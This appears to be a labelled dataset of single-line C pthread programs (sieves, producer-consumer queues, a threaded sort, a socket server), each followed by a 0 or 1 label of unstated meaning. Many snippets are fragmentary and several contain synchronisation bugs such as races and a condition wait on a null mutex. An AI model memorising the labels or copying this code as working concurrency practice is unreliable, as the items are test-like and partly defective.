#include <pthread.h> int threadCount, n, sieve, prime[1000000]; pthread_mutex_t sieveLock = PTHREAD_MUTEX_INITIALIZER; pthread_t threads[100]; void crossOut(int k, int mark); int findNextSieve(int current); void *worker(int threadNumber); int main(int argc, char **argv){ int i; if(argc != 3){ printf("Please use : %s [thread count] [number]\\n", argv[0]); exit(1); } threadCount = atoi(argv[1]); n = atoi(argv[2]); for(i = 2; i <= n; i++){ prime[i] = 1; } sieve = 1; for(i = 0; i < threadCount; i++){ pthread_create(&threads[i], 0, (void *)worker, (void *)i); } for(i = 0; i < threadCount; i++){ pthread_join(threads[i], 0); } for(i = 2; i <= n; i++){ if(prime[i] == 1){ printf("%d\\n", i); } else { printf("\\tCross out by T%6d, %d\\n", -prime[i], i); } } } void crossOut(int k, int mark){ int i; for(i = k; i*k <= n; i++){ prime[i*k] = mark; } } int findNextSieve(int current){ int i, lim; lim = n; for(i = current + 1; i <= lim; i++){ if(prime[i]){ return i; } } return 0; } void *worker(int threadNumber){ int nextSieve; while(1){ pthread_mutex_lock(&sieveLock); nextSieve = findNextSieve(sieve); if(0 == nextSieve){ pthread_mutex_unlock(&sieveLock); return; } sieve = nextSieve; pthread_mutex_unlock(&sieveLock); crossOut(nextSieve, -threadNumber*100000 - nextSieve); } }
0
#include <pthread.h> int value; pthread_cond_t rc; pthread_mutex_t rm; int r_wait; pthread_cond_t wc; pthread_mutex_t wm; int w_wait; }Storage; void set_data(Storage *s,int value){ s->value=value; } int get_data(Storage *s){ return s->value; } void * set_th(void *arg){ Storage *s =(Storage*)arg; int i=1; for(;i<=100;i++){ set_data(s,i+100); printf("write data success %lx\\n",pthread_self()); pthread_mutex_lock(&s->rm); while(!s->r_wait){ pthread_mutex_unlock(&s->rm); sleep(1); pthread_mutex_lock(&s->rm); } s->r_wait=0; pthread_mutex_unlock(&s->rm); pthread_cond_broadcast(&s->rc); pthread_mutex_lock(&s->wm); s->w_wait=1; pthread_cond_wait(&s->wc,&s->wm); pthread_mutex_unlock(&s->wm); } } void *get_th(void *arg){ Storage *s =(Storage*)arg; int i=1; for(;i<=100;i++){ pthread_mutex_lock(&s->rm); s->r_wait=1; pthread_cond_wait(&s->rc,&s->rm); pthread_mutex_unlock(&s->rm); int value=get_data(s); printf("read data %d\\n",value); pthread_mutex_lock(&s->wm); while(!s->w_wait){ pthread_mutex_unlock(&s->wm); sleep(1); pthread_mutex_lock(&s->wm); } s->w_wait=0; pthread_mutex_unlock(&s->wm); pthread_cond_broadcast(&s->wc); } } int main(void){ int err; pthread_t rh,wh; Storage s; s.r_wait=0; s.w_wait=0; pthread_mutex_init(&s.rm,0); pthread_mutex_init(&s.wm,0); pthread_cond_init(&s.rc,0); pthread_cond_init(&s.wc,0); if((err=pthread_create(&rh,0,get_th,(void*)&s))!=0){ perror("ptread create error"); } if((err=pthread_create(&wh,0,set_th,(void*)&s))!=0){ perror("ptread create error"); } pthread_join(rh,0); pthread_join(wh,0); pthread_mutex_destroy(&s.rm); pthread_mutex_destroy(&s.wm); pthread_cond_destroy(&s.rc); pthread_cond_destroy(&s.wc); }
1
#include <pthread.h> char** array; int left; int right; } SortParams; static int maximumThreads; int threadsLeft; pthread_mutex_t mut; static void insertSort(char** array, int left, int right) { int i, j; for (i = left + 1; i <= right; i++) { char* pivot = array[i]; j = i - 1; while (j >= left && (strcmp(array[j],pivot) > 0)) { array[j + 1] = array[j]; j--; } array[j + 1] = pivot; } } static void quickSort(void* p) { SortParams* params = (SortParams*) p; pthread_t tid = -1; char** array = params->array; int left = params->left; int right = params->right; register int i = left, j = right; if (j - i > 40) { int m = (i + j) >> 1; char* temp, *pivot; if (strcmp(array[i],array[m]) > 0) { temp = array[i]; array[i] = array[m]; array[m] = temp; } if (strcmp(array[m],array[j]) > 0) { temp = array[m]; array[m] = array[j]; array[j] = temp; if (strcmp(array[i],array[m]) > 0) { temp = array[i]; array[i] = array[m]; array[m] = temp; } } pivot = array[m]; for (;;) { while (strcmp(array[i],pivot) < 0) i++; while (strcmp(array[j],pivot) > 0) j--; if (i < j) { char* temp = array[i]; array[i++] = array[j]; array[j--] = temp; } else if (i == j) { i++; j--; } else break; } SortParams first; first.array = array; first.left = left; first.right = j; pthread_mutex_lock(&mut); if(threadsLeft > 0){ threadsLeft--; pthread_mutex_unlock(&mut); pthread_create(&tid, 0, (void*) quickSort, (void*) &first); }else{ pthread_mutex_unlock(&mut); quickSort(&first); } SortParams second; second.array = array; second.left = i; second.right = right; quickSort(&second); if(tid != -1){ pthread_join(tid, 0); pthread_mutex_lock(&mut); threadsLeft++; pthread_mutex_unlock(&mut); } } else insertSort(array,i,j); } void setSortThreads(int count) { maximumThreads = count; } void sortThreaded(char** array, unsigned int count) { threadsLeft = maximumThreads; pthread_mutex_init(&mut, 0); SortParams parameters; parameters.array = array; parameters.left = 0; parameters.right = count - 1; quickSort(&parameters); }
0
#include <pthread.h> pthread_mutex_t mutexLastTrame = PTHREAD_MUTEX_INITIALIZER; pthread_mutex_t mutexEtats[12]; pthread_cond_t pourLire = PTHREAD_COND_INITIALIZER; pthread_cond_t pourEcrire = PTHREAD_COND_INITIALIZER; int lastTrame = -1; int buf[12]; Etat etats[12]; int nbElements; int ecrire(int v); int debut_lire(int l); int lire(int ind); void fin_lire(int ind); void* loop_Prod(void* nb){ int* ptr = nb; int a = *ptr; int valeurAEcrire = 0; while(1){ int indice = ecrire(valeurAEcrire); printf("[%d] buf[%d] = %d\\n", a, indice, valeurAEcrire); sleep(1); valeurAEcrire++; } } void* loop_Cons(void* nb){ int* ptr = nb; int a = *ptr; int indCons; while(1){ printf("debut_lire\\n"); indCons = debut_lire(lastTrame); printf("indice lecture = %d\\n", indCons); pthread_mutex_lock( &mutexLastTrame ); lastTrame = lire(indCons); pthread_mutex_unlock( &mutexLastTrame ); fin_lire(indCons); sleep(1); } } int ecrire(int v){ int ind = 0; int min = -1; int i = 0; int trouve = 0; while(!trouve && i < 12){ pthread_mutex_lock( &mutexEtats[i] ); if(etats[i] == LOV){ if(min != -1) pthread_mutex_unlock( &mutexEtats[ind] ); ind = i; trouve = 1; } else if(etats[i] == NL && (min == -1 || buf[i] < min)){ if(min != -1) pthread_mutex_unlock( &mutexEtats[ind] ); min = buf[i]; ind = i; } else{ pthread_mutex_unlock( &mutexEtats[i] ); } i++; } etats[ind] = ECE; buf[ind] = v; etats[ind] = NL; pthread_mutex_unlock( &mutexEtats[ind] ); pthread_cond_signal(&pourLire); return ind; } int debut_lire(int min){ int res = 0; int i; int nouvelleValeur = 0; do{ for(i = 0; i < 12; i++){ pthread_mutex_lock( &mutexEtats[i] ); if(etats[i] == NL && (min == -1 || buf[i] < min)){ if(min != -1) pthread_mutex_unlock( &mutexEtats[res] ); min = buf[i]; res = i; nouvelleValeur = 1; } else{ pthread_mutex_unlock( &mutexEtats[i] ); } } if(!nouvelleValeur){ printf("aucune nouvelle valeur, dodo\\n"); pthread_cond_wait(&pourLire, 0); } }while(!nouvelleValeur); return res; } int lire(int indice){ etats[indice] = ECDL; int res = buf[indice]; pthread_mutex_unlock( &mutexEtats[indice] ); return res; } void fin_lire(int indice){ pthread_mutex_lock( &mutexEtats[indice] ); etats[indice] = LOV; pthread_mutex_unlock( &mutexEtats[indice] ); } int main(int argc, char* argv[]){ pthread_mutexattr_t attrMutex[12]; int i; for(i = 0; i < 12; i++){ etats[i] = LOV; pthread_mutexattr_init(&attrMutex[i]); pthread_mutex_init(&(mutexEtats[i]), &attrMutex[i]); } int thr_id; pthread_t p_thread[1000]; int nbThread = 0; pthread_attr_t attr; int choix; do{ printf("Faite votre choix :\\n"); printf("\\t1. créer producteur\\n"); printf("\\t2. créer consommateur\\n"); printf("\\tVotre choix : "); scanf("%d", &choix); switch(choix){ case 1: pthread_attr_init(&attr); thr_id = pthread_create(&(p_thread[nbThread]), &attr, loop_Prod, (void*) &nbThread); nbThread++; break; case 2: pthread_attr_init(&attr); thr_id = pthread_create(&(p_thread[nbThread]), &attr, loop_Cons, (void*) &nbThread); nbThread++; break; default: printf("Choix incorrect !\\n"); break; } }while(1); }
1
#include <pthread.h> static pthread_mutex_t mtx=PTHREAD_MUTEX_INITIALIZER; static pthread_cond_t cond=PTHREAD_COND_INITIALIZER; struct node { int n_number; struct node *n_next; } *head=0; static void cleanup_handler(void*arg) { printf("Clean up handler of second thread.\\n"); free(arg); (void)pthread_mutex_unlock(&mtx); } static void *thread_func(void *arg) { struct node*p=0; pthread_cleanup_push(cleanup_handler,p); printf("this is thread2\\n"); while(1) { pthread_mutex_lock(&mtx); while(1) { while(head==0) { pthread_cond_wait(&cond,&mtx); } p=head; head=head->n_next; printf("Got %d from front of queue\\n",p->n_number); free(p); } printf("still in thread2\\n"); pthread_mutex_unlock(&mtx); } pthread_cleanup_pop(0); printf("still in thread2\\n"); return 0; } int main(void) { pthread_t tid; int i; struct node *p; printf("this is thread1\\n"); pthread_create(&tid,0,thread_func,0); for(i=0;i<5;i++) { p=(struct node*)malloc(sizeof(struct node)); p->n_number=i; pthread_mutex_lock(&mtx); p->n_next=head; head=p; pthread_cond_signal(&cond); pthread_mutex_unlock(&mtx); sleep(1); } printf("this is thread1\\n"); printf("thread1 will cancel thread2\\n"); pthread_cancel(tid); pthread_join(tid,0); printf("All done --exiting\\n"); return 0; }
0
#include <pthread.h> pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; pthread_cond_t cond = PTHREAD_COND_INITIALIZER; int sillas[5] = {0, 0, 0, 0, 0}; int ubicarSilla(); int ubicarSilla() { for (int i = 0; i < 5; ++i) { if (sillas[i] == 0 && sillas[(i+1)%5] == 0 ) { return i; } } return -1; } int buscarSilla() { pthread_mutex_lock(&mutex); int ubicacion; while ((ubicacion = ubicarSilla()) == -1) { pthread_cond_wait(&cond, &mutex); } sillas[(ubicacion+1)%5] = sillas[ubicacion] = 1; pthread_mutex_unlock(&mutex); return ubicacion; } void desocuparSilla(int k) { pthread_mutex_lock(&mutex); sillas[(k+1)%5] = sillas[k] = 0; pthread_cond_broadcast(&cond); pthread_mutex_unlock(&mutex); } void *serv(long s) { char nombre[100]; char len; int silla; char *fin; read(s, &len, 1); leer(s, nombre, len); printf("llega %s\\n", nombre); silla = buscarSilla(); write(s, &silla, sizeof(int)); printf("%s a silla %d\\n", nombre, silla); while ((strcmp((fin = getstr(s)),"fin")) != 0) { pthread_cond_wait(&cond, &mutex); } desocuparSilla(silla); printf("%s libera %d\\n", nombre, silla); free(fin); return 0; } int main(int argc, char **argv) { long s, s2; int puerto; pthread_t pid; if (argc < 2) { printf("Uso: %s <puerto>\\n", argv[0]); exit(1); } s = j_socket(); puerto = atoi(argv[1]); if (j_bind(s, puerto) < 0) { fprintf(stderr, "El bind falló\\n"); exit(1); } for(;;) { pthread_attr_t attr; s2 = j_accept(s); pthread_attr_init(&attr); if (pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED) != 0) { fprintf(stderr, "No se puede establecer el atributo\\n"); } if (pthread_create(&pid, &attr, (Thread_fun)serv, (void *)s2) != 0) { fprintf(stderr, "No pude crear thread para nuevo cliente %ld!!!\\n", s2); close(s2); } pthread_attr_destroy(&attr); } return 0; }
1
#include <pthread.h> pthread_t g_treads[thread_num]; pthread_cond_t g_work_done; pthread_mutex_t g_general_mutex = PTHREAD_MUTEX_INITIALIZER; int g_work_amount = 0; static inline void update_picture(void) { SDL_UpdateTexture(g_sdl.texture, 0, g_sdl.pixels, ww * sizeof(int32_t)); SDL_RenderCopy(g_sdl.renderer, g_sdl.texture, 0, 0); SDL_RenderPresent(g_sdl.renderer); } void render_in_range(int x, int y, int x_max, int y_max) { while (y < y_max) { x = 0; while (x < x_max) { set_pixel(trace(g_rays[y * wh + x], g_eye.lcs.o), x, y); ++x; } ++y; } } void *thread_entry_point(void *arg) { int i; i = *((int*)arg); free(arg); render_in_range(0, i * render_pitch, ww, (i + 1) * render_pitch); ++g_work_amount; pthread_mutex_lock(&g_general_mutex); pthread_cond_signal(&g_work_done); pthread_mutex_unlock(&g_general_mutex); pthread_exit(0); } static inline void custom_attr_init(pthread_attr_t *attr) { pthread_attr_init(attr); pthread_attr_setdetachstate(attr,PTHREAD_CREATE_DETACHED); pthread_attr_setschedpolicy(attr, SCHED_FIFO); pthread_attr_setguardsize(attr, 8192); pthread_attr_setscope(attr, PTHREAD_SCOPE_SYSTEM); } void pic_render(void) { int i; int *i_p; pthread_attr_t thread_atrr; i = 0; custom_attr_init(&thread_atrr); while (i < thread_num) { i_p = malloc(sizeof(int)); *i_p = i; pthread_create(&g_treads[i], &thread_atrr, thread_entry_point, i_p); ++i; } pthread_mutex_lock(&g_general_mutex); while (g_work_amount != thread_num) pthread_cond_wait(&g_work_done, &g_general_mutex); pthread_mutex_unlock(&g_general_mutex); update_picture(); }
0
#include <pthread.h> struct donut_ring shared_ring; int space_count[NUMFLAVORS]; int donut_count[NUMFLAVORS]; pthread_mutex_t prod[NUMFLAVORS]; pthread_mutex_t cons[NUMFLAVORS]; pthread_cond_t prod_cond[NUMFLAVORS]; pthread_cond_t cons_cond[NUMFLAVORS]; pthread_t thread_id[NUMCONSUMERS+NUMPRODUCERS]; void* producer(void* arg) { unsigned short xsub[3]; struct timeval randtime; int donut_flavor; int donutflavor_count,donutflavor_buffer; gettimeofday(&randtime,(struct timezone*) 0); xsub[0] = (ushort)randtime.tv_usec; xsub[1] = (ushort)(randtime.tv_usec>>16); xsub[2] = (ushort)(getpid()); while (1) { donut_flavor = nrand48 ( xsub ) & 3; pthread_mutex_lock ( &prod [donut_flavor] ); while(space_count[donut_flavor]== 0 ) { pthread_cond_wait(&prod_cond[donut_flavor], &prod[donut_flavor] ); } shared_ring.serial[donut_flavor] = shared_ring.serial[donut_flavor] + 1; donutflavor_count = shared_ring.serial[donut_flavor]; donutflavor_buffer= shared_ring.in_ptr[donut_flavor]; shared_ring.flavor[donut_flavor][donutflavor_buffer] = donutflavor_count; space_count[donut_flavor]--; shared_ring.in_ptr[donut_flavor] = ((shared_ring.in_ptr[donut_flavor] + 1) % NUMSLOTS); pthread_mutex_unlock(&prod[donut_flavor]); pthread_mutex_lock(&cons[donut_flavor]); donut_count[donut_flavor]++; pthread_mutex_unlock(&cons[donut_flavor]); pthread_cond_signal(&cons_cond[donut_flavor]); } printf("\\nProducer Thread Done.\\n"); return 0; } void* consumer(void* arg) { unsigned short xsub [3]; struct timeval randtime; int donut_flavor; int donutflavor_count,donutflavor_buffer; gettimeofday(&randtime,(struct timezone*) 0); xsub[0] = (ushort)randtime.tv_usec; xsub[1] = (ushort)(randtime.tv_usec>>16); xsub[2] = (ushort)(getpid()); int ii,jj; int i,j,count_dozens; int output[12][NUMFLAVORS]; for(ii=0;ii<NUMDOZENS;ii++) { for(i=0;i<12;i++) { for(j=0;j<NUMFLAVORS;j++) output[i][j]=0; } for(jj=0;jj<12;jj++) { donut_flavor = nrand48 ( xsub ) & 3; while(donut_count[donut_flavor]==0) pthread_cond_wait(&cons_cond[donut_flavor],&cons[donut_flavor]); donutflavor_buffer=shared_ring.outptr[donut_flavor]; donutflavor_count=shared_ring.flavor[donut_flavor][donutflavor_buffer]; output[jj][donut_flavor]=donutflavor_count; shared_ring.outptr[donut_flavor] = ((shared_ring.outptr[donut_flavor]+1) % NUMSLOTS); donut_count[donut_flavor]++; pthread_mutex_unlock(&cons[donut_flavor]); pthread_mutex_lock(&prod[donut_flavor]); space_count[donut_flavor]++; pthread_mutex_unlock(&prod[donut_flavor]); pthread_cond_signal(&prod_cond[donut_flavor]); } printf("\\nDonut Flavor\\n"); printf("Jelly \\t\\tChoco \\t\\tCoffee \\t\\tPlain\\n"); for(i=0;i<12;i++) { for(j=0;j<NUMFLAVORS;j++) printf("%d\\t\\t",output[i][j]); printf("\\n"); } printf("\\nDozen No = %d\\n",ii+1); } printf("\\nConsumer Thread Done. \\n"); return 0; } int main() { int tot_thread=NUMPRODUCERS+NUMCONSUMERS; int rc; int i; for(i=0;i<tot_thread;i++) thread_id[i]=i; for(i=0;i<NUMFLAVORS;i++) { pthread_mutex_init(&prod[i],0); pthread_mutex_init(&cons[i],0 ); pthread_cond_init(&prod_cond[i],0); pthread_cond_init(&cons_cond[i],0); shared_ring.outptr[i] = 0; shared_ring.in_ptr[i] = 0; shared_ring.serial[i] = 0; space_count[i] = NUMSLOTS; donut_count[i] = 0; } for(i=0;i<NUMPRODUCERS;i++) { if(rc=pthread_create(&thread_id[i],0,producer,0)) { fprintf(stderr,"Error: pthread_create, rc: %d\\n", rc); return 1; } } for(i=NUMPRODUCERS;i<tot_thread;i++) { if(rc=pthread_create(&thread_id[i],0,consumer,0)) { fprintf(stderr,"Error: pthread_create, rc: %d\\n", rc); return 1; } } for(i=NUMPRODUCERS;i<tot_thread;i++) { if(rc=pthread_join(thread_id[i],0)) { fprintf(stderr,"Error: pthread_join for consumers rc: %d\\n", rc); return 2; } } }
1
#include <pthread.h> int buffer[100]; int nextp, nextc; int count=0; pthread_mutex_t mutex=PTHREAD_MUTEX_INITIALIZER; void printfunction(void * ptr) { int count = *(int *) ptr; if (count==0) { printf("All items produced are consumed by the consumer \\n"); } else { for (int i=0; i<=count; i=i+1) { printf("%d, \\t",buffer[i]); } printf("\\n"); } } void *producer(void *ptr) { int item, flag=0; int in = *(int *) ptr; do { item = (rand()%7)%10; flag=flag+1; nextp=item; buffer[in]=nextp; in=((in+1)%100); while(count <= 100) { pthread_mutex_lock(&mutex); count=count+1; pthread_mutex_unlock(&mutex); printf("Count = %d in produced at Iteration = %d\\n", count, flag); } } while (flag<=100); pthread_exit(0); } void *consumer(void *ptr) { int item, flag=100; int out = *(int *) ptr; do { while (count >0) { nextc = buffer[out]; out=(out+1)%100; printf("\\t\\tCount = %d in consumer at Iteration = %d\\n", count,flag); pthread_mutex_lock(&mutex); count = count-1; pthread_mutex_unlock(&mutex); flag=flag-1; } if (count <= 0) { printf("consumer made to wait...faster than producer.\\n"); } }while (flag>=0); pthread_exit(0); } int main(void) { int in=0, out=0; pthread_t pro, con; pthread_create(&pro, 0, producer, &count); pthread_create(&con, 0, consumer, &count); pthread_join(pro, 0); pthread_join(con, 0); printfunction(&count); }
0
#include <pthread.h> int lastrow,lastcol; int win=0; int end=0; int row =5; int col= 15; pthread_cond_t cv; pthread_mutex_t mu; int map[6][30]; int getch (void) { int ch; struct termios oldt, newt; tcgetattr(STDIN_FILENO, &oldt); memcpy(&newt, &oldt, sizeof(newt)); newt.c_lflag &= ~( ECHO | ICANON | ECHOE | ECHOK | ECHONL | ECHOPRT | ECHOKE | ICRNL); tcsetattr(STDIN_FILENO, TCSANOW, &newt); ch = getchar(); tcsetattr(STDIN_FILENO, TCSANOW, &oldt); return ch; } void threadtoleft(void *t){ int id = (int)t; int a; int b=35; int c=20; int d=5; int on=0; while(end==0){ pthread_mutex_lock(&mu); if(on==1){ on =0; col--; if(col<0)end=1; } for(a=0;a<30;a++){ if(abs(a-b)<6||abs(a-c)<6||abs(a-d)<6){ map[id][a]=1; if(row==t){ if(abs(col-b)<6||abs(col-c)<6||abs(col-d)<6){ map[id][col] = 2; on =1; } else end =1; } } else map[id][a]=0; } b--; c--; d--; if(b<-5)b=35; if(c<0) c=35; if(d<-3) d =35; pthread_mutex_unlock(&mu); usleep(rand()%10*10000); } pthread_exit(0); } void threadtoright(void *t){ int id = (int )t; int on=0; int a; int b=20; int c=10; int d=-4; while(end==0){ pthread_mutex_lock(&mu); if(on==1){ on =0; col++; if(col>29)end=1; } for(a=0;a<30;a++){ if(abs(a-b)<4||abs(a-c)<4||abs(a-d)<4){ map[id][a]=1; if(row==id){ if(abs(col-b)<4||abs(col-c)<4||abs(col-d)<4){ map[id][col] = 2; on =1; } else end =1; } } else map[id][a]=0; } b++; c++; d++; if(b>30)b=0; if(c>33)c=-3; if(d>36)d=-6; pthread_mutex_unlock(&mu); usleep(rand()%10*10000); } pthread_exit(0); } void domove(void *threadid){ char in; int d; while(end==0){ in = getch(); if(in =='A' && col>0){ col=col-1; map[row][col]=2; if(row==0||row==5) map[row][col+1]=3; } else if(in =='D' && col <29){ col = col+1; map[row][col]=2; if(row==0||row==5) map[row][col-1]=3; } else if(in =='W' &&row>0){ row = row -1; map[row][col]=2; if(row==4) map[row+1][col]=3; if(row==0){ map[row+1][col]=1; win =1; } } else if(in =='S' &&row<5){ row = row +1; map[row][col]=2; if(row==5) col = col-1; } else if(in =='Q') end =3; usleep(10000); } pthread_exit(0); } void doprint(void *threadid){ int tid; int a,b; tid = (int)threadid; while(end==0){ pthread_mutex_lock(&mu); printf("\\033[2J\\033[0;0H"); for(a=0;a<6;a++){ for(b=0;b<30;b++){ if(map[a][b]==0) printf(" "); else if(map[a][b]==1) printf("="); else if(map[a][b]==2){ printf("o");} else if(map[a][b]==3) printf("+"); } printf("\\n"); } if(win==1) end=2; pthread_mutex_unlock(&mu); usleep(10000); } pthread_mutex_lock(&mu); if(end ==3) printf("\\n\\n\\nQUIT IT\\n"); if(end ==1) printf("\\n\\n\\nLOSE\\n"); if(end ==2) printf("\\n\\n\\nWIN\\n"); pthread_mutex_unlock(&mu); pthread_exit(0); } int main(){ int a; int b; for(a=0;a<30;a++){ map[0][a]=3; map[1][a]=0; map[2][a]=0;;map[3][a]=0;map[4][a]=0; map[5][a]=3; map[row][col] = 2; } pthread_t threads[7]; pthread_mutex_init(&mu,0); pthread_cond_init(&cv,0); pthread_create(&threads[1],0,threadtoleft,(void*)1); pthread_create(&threads[2],0,threadtoright,(void*)2); pthread_create(&threads[3],0,threadtoleft,(void*)3); pthread_create(&threads[4],0,threadtoright,(void*)4); usleep(1000); pthread_create(&threads[5],0,doprint,(void*)0); pthread_create(&threads[6],0,domove,(void*)0); for(a=1;a<=6;a++){ pthread_join(threads[a], 0); } pthread_cond_destroy(&cv); pthread_mutex_destroy(&mu); pthread_exit(0); return 0; }
1
#include <pthread.h> int MAX = 20001; int p_sleep; int c_sleep; int producer_count; int consumer_count; int item_p; int item_c; bool isproducersleeping = 0; bool isconsumersleeping = 0; pthread_mutex_t lock; pthread_cond_t cond_consume; pthread_cond_t cond_produce; struct Queue { int front, rear, size; unsigned capacity; int* array; }; struct Queue* createQueue(unsigned capacity) { struct Queue* queue = (struct Queue*) malloc(sizeof(struct Queue)); queue->capacity = capacity; queue->front = queue->size = 0; queue->rear = capacity - 1; queue->array = (int*) malloc(queue->capacity * sizeof(int)); return queue; } int isFull(struct Queue* queue) { return (queue->size == queue->capacity); } int isEmpty(struct Queue* queue) { return (queue->size == 0); } void enqueue(struct Queue* queue, int item) { if (isFull(queue)) return; queue->rear = (queue->rear + 1)%queue->capacity; queue->array[queue->rear] = item; queue->size = queue->size + 1; } int dequeue(struct Queue* queue) { if (isEmpty(queue)) return 0; int item = queue->array[queue->front]; queue->front = (queue->front + 1)%queue->capacity; queue->size = queue->size - 1; return item; } void* produce(void *gvar) { struct Queue *q; q = (struct Queue *)gvar; while(producer_count<MAX) { pthread_mutex_lock(&lock); while(isFull(q) == 1) { pthread_cond_wait(&cond_consume, &lock); if(!isproducersleeping){ isproducersleeping=1; p_sleep++; } } enqueue(q,producer_count); printf("Produced something. %d\\n",producer_count); producer_count++; isproducersleeping=0; pthread_mutex_unlock(&lock); pthread_cond_signal(&cond_consume); usleep(50000); } pthread_exit(0); } void* consume(void *gvar) { struct Queue *q; q = (struct Queue *)gvar; while(consumer_count<MAX){ pthread_mutex_lock(&lock); while(isEmpty(q) == 1){ pthread_cond_wait(&cond_produce, &lock); if(!isconsumersleeping){ isconsumersleeping=1; c_sleep++; } } int output = dequeue(q); printf("Consumed item: %d \\n",output); if((output)==(MAX-1)){ printf("Total sleeps: Prod = %d Cons = %d \\n",p_sleep,c_sleep); exit(0); } consumer_count++; isconsumersleeping=0; pthread_mutex_unlock(&lock); pthread_cond_signal(&cond_produce); usleep(50000); } pthread_exit(0); } int main() { struct Queue* q = createQueue(5); c_sleep = 0; p_sleep = 0; producer_count = 0; consumer_count = 0; item_p = 0; item_c = 0; while(1){ pthread_mutex_init(&lock, 0); pthread_cond_init(&cond_consume, 0); pthread_cond_init(&cond_produce, 0); pthread_t producers1, producers2; pthread_t consumers1, consumers2; pthread_create(&producers1, 0, produce, q); pthread_create(&producers2, 0, produce, q); pthread_create(&consumers1, 0, consume, q); pthread_create(&consumers2, 0, consume, q); } pthread_mutex_destroy(&lock); pthread_cond_destroy(&cond_consume); pthread_cond_destroy(&cond_produce); return 0; }
0
#include <pthread.h> int numero = 100; pthread_mutex_t mutex; int n; } param; void *duplica(void *); void *divide(void *); int main() { pthread_t thread1; pthread_t thread2; param p; p.n = 5; pthread_create(&thread1, 0, duplica, &p); pthread_create(&thread2, 0, divide, &p); pthread_join(thread1, 0); pthread_join(thread2, 0); return 0; } void *duplica(void *p) { int i; pthread_mutex_lock(&mutex); int temp = numero; pthread_mutex_unlock(&mutex); for(i = 0; i < ((param *) p)->n; i++) { temp *= 2; printf("duplicando %d\\n", temp); sleep(5); } pthread_mutex_lock(&mutex); numero = temp; pthread_mutex_unlock(&mutex); pthread_exit(0); } void *divide(void *p) { int i; pthread_mutex_lock(&mutex); double temp = (double) numero; pthread_mutex_unlock(&mutex); for(i = 0; i < ((param *)p)->n; i++) { temp /= 2; printf("Divide %f\\n", temp); sleep(5); } pthread_mutex_lock(&mutex); numero = (int) temp; pthread_mutex_unlock(&mutex); pthread_exit(0); }
1
#include <pthread.h> static pthread_mutex_t vu_name_mutex = PTHREAD_MUTEX_INITIALIZER; static char vu_name[_UTSNAME_LENGTH]; void set_vu_name(char *name) { pthread_mutex_lock(&vu_name_mutex); memset(vu_name, 0, _UTSNAME_LENGTH); strncpy(vu_name, name, _UTSNAME_LENGTH); pthread_mutex_unlock(&vu_name_mutex); } void get_vu_name(char *name, size_t len) { if (len > _UTSNAME_LENGTH) len = _UTSNAME_LENGTH; pthread_mutex_lock(&vu_name_mutex); memcpy(name, vu_name, len); pthread_mutex_unlock(&vu_name_mutex); }
0
#include <pthread.h> pthread_mutex_t sum_mutex = PTHREAD_MUTEX_INITIALIZER; pthread_mutex_t condition_mutex = PTHREAD_MUTEX_INITIALIZER; pthread_cond_t condition_cond = PTHREAD_COND_INITIALIZER; void *functionAdd1(); void *functionAdd2(); int sum = 0; int count=0; int main() { pthread_t thread1, thread2; pthread_create(&thread1, 0, &functionAdd1, 0); pthread_create(&thread2, 0, &functionAdd2, 0); pthread_join(thread1, 0); pthread_join(thread2, 0); exit(0); } void *functionAdd1() { for(;;) { pthread_mutex_lock(&condition_mutex); while (sum >= 2 && sum <=4){ pthread_cond_wait(&condition_cond, &condition_mutex); } pthread_mutex_unlock(&condition_mutex); pthread_mutex_lock(&sum_mutex); sum++; printf("Sum value functionAdd1: %d\\n",sum); pthread_mutex_unlock(&sum_mutex); if (sum >= 10) return (0); } } void *functionAdd2() { for(;;) { pthread_mutex_lock(&condition_mutex); if(sum < 2 || sum > 4) { pthread_cond_signal(&condition_cond); } pthread_mutex_unlock(&condition_mutex); pthread_mutex_lock(&sum_mutex); sum++; printf("Sum value functionAdd2: %d\\n",sum); pthread_mutex_unlock(&sum_mutex); if (sum >=10) return (0); } }
1
#include <pthread.h> static int run_light = 0; static pthread_mutex_t light_mutex = PTHREAD_MUTEX_INITIALIZER; static pthread_cond_t wait_light = PTHREAD_COND_INITIALIZER; void turn_on_light( void ) { pthread_mutex_lock( &light_mutex ); run_light = 1; pthread_cond_broadcast( &wait_light ); pthread_mutex_unlock( &light_mutex ); } void turn_off_light( void ) { pthread_mutex_lock( &light_mutex ); run_light = 0; pthread_cond_broadcast( &wait_light ); pthread_mutex_unlock( &light_mutex ); } void wait_light_on( void ) { pthread_mutex_lock( &light_mutex ); while (run_light == 0) pthread_cond_wait( &wait_light, &light_mutex ); pthread_mutex_unlock( &light_mutex ); } void wait_light_off( void ) { pthread_mutex_lock( &light_mutex ); while (run_light != 0) pthread_cond_wait( &wait_light, &light_mutex ); pthread_mutex_unlock( &light_mutex ); } int is_light_turned_on( bool ignore ) { int temp; if (ignore) return 1; pthread_mutex_lock( &light_mutex ); temp = run_light; pthread_mutex_unlock( &light_mutex ); return temp; } void sig_handler(int signo) { if (signo == SIGINT) { PRINT_INFO("Interrupted by Ctrl+C"); if (is_light_turned_on(0)) turn_off_light(); else exit (1); } } void timer_fired() { turn_off_light(); } void run_test_timer(int duration) { struct itimerval it_val; it_val.it_value.tv_sec = duration; it_val.it_value.tv_usec = 0; it_val.it_interval.tv_sec = 0; it_val.it_interval.tv_usec = 0; if (signal(SIGALRM, timer_fired) == SIG_ERR) { PRINT_ERR("unable to set test timer: signal SIGALRM failed"); exit(1); } if (setitimer(ITIMER_REAL, &it_val, 0) == -1) { PRINT_ERR("unable to set test timer: setitimer ITIMER_REAL failed"); exit(1); } }
0
